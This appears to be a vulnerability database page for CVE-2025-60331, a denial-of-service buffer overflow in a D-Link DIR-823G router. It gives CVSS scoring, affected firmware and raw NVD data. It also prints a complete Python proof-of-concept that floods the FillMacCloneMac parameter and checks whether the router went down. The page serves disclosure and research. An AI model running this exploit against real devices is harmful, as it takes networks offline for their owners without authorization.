Security Vulnerability Report
中文
CVE-2025-60331 CVSS 7.5 HIGH

CVE-2025-60331

Published: 2025-10-22 15:16:01
Last Modified: 2025-10-24 13:19:38

Description

D-Link DIR-823G A1 v1.0.2B05 was discovered to contain a buffer overflow in the FillMacCloneMac parameter in the /EXCU_SHELL endpoint. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-823g_firmware:1.0.2b05:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-823g:a1:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-823G A1 固件版本 v1.0.2B05

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60331 PoC - D-Link DIR-823G Buffer Overflow in FillMacCloneMac Target: D-Link DIR-823G A1 v1.0.2B05 Vulnerability: Buffer overflow in /EXCU_SHELL endpoint (FillMacCloneMac parameter) Impact: Denial of Service """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the buffer overflow vulnerability in FillMacCloneMac parameter. Sends an oversized payload to trigger stack overflow. """ # Target URL for the vulnerable endpoint url = f"http://{target_ip}:{target_port}/EXCU_SHELL" # Generate oversized payload to trigger buffer overflow # The exact overflow length depends on the buffer size in the firmware overflow_length = 1024 # Adjust based on target firmware analysis malicious_payload = "A" * overflow_length # Construct the malicious request with oversized FillMacCloneMac parameter data = { "FillMacCloneMac": malicious_payload, "macclone": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-60331-PoC)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(malicious_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") # Check if target is still responsive check_url = f"http://{target_ip}:{target_port}/" try: health_check = requests.get(check_url, timeout=5) print("[-] Target still responsive - exploit may have failed") except requests.exceptions.RequestException: print("[+] Target appears to be down - DoS successful") return True except requests.exceptions.RequestException as e: print(f"[+] Exploit sent - Connection error (target may be down): {e}") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("=" * 60) print("CVE-2025-60331 D-Link DIR-823G Buffer Overflow PoC") print("=" * 60) exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60331", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:00.617", "lastModified": "2025-10-24T13:19:38.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR-823G A1 v1.0.2B05 was discovered to contain a buffer overflow in the FillMacCloneMac parameter in the /EXCU_SHELL endpoint. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-823g_firmware:1.0.2b05:*:*:*:*:*:*:*", "matchCriteriaId": "14A8546A-7F37-43D2-AD1E-DF65C6734057"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-823g:a1:*:*:*:*:*:*:*", "matchCriteriaId": "EF303ADD-7BAC-4D2A-B644-D03B23F76DDB"}]}]}], "references": [{"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/DIR823G/FillMacCloneMac/FillMacCloneMac.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/DIR823G/FillMacCloneMac/FillMacCloneMac.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}